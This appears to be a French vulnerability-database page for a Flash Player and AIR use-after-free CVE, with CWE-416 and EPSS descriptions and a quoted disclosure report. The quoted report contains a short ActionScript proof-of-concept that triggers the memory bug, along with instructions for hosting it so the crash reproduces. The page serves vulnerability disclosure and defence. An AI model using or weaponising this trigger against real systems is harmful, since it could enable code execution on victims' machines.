Descriptions du CVE

Use-after-free vulnerability in Adobe Flash Player before 13.0.0.292 and 14.x through 18.x before 18.0.0.160 on Windows and OS X and before 11.2.202.466 on Linux, Adobe AIR before 18.0.0.144 on Windows and before 18.0.0.143 on OS X and Android, Adobe AIR SDK before 18.0.0.144 on Windows and before 18.0.0.143 on OS X, and Adobe AIR SDK & Compiler before 18.0.0.144 on Windows and before 18.0.0.143 on OS X allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-3103 and CVE-2015-3106.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Source: https://code.google.com/p/google-security-research/issues/detail?id=352&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id If the fpadInfo property of a NetConnection object is a SharedObject, a use-after-free occurs when the property is deleted. A proof-of-concept is as follows: var s = SharedObject.getLocal("test"); ASSetPropFlags(s, null, 0, 0xff); ASSetPropFlags(s.data, null, 0, 0xff); var q = {myprop :"natalie", myprop2 : "test"}; s.data.fpadInfo = q; s.flush(); var n = new NetConnection(); ASnative(2100, 200)(s.data); n.connect.call(s.data, ""); trace(s.data.fpadInfo); s = 1; //GC happens here setInterval(f, 1000); function f(){ ASnative(252, 1).call(q); //Array push delete q.myprop; } A fla, an AS file and two swfs are attached. shareddelete.fla compiles to shareddelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and shareddelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up.
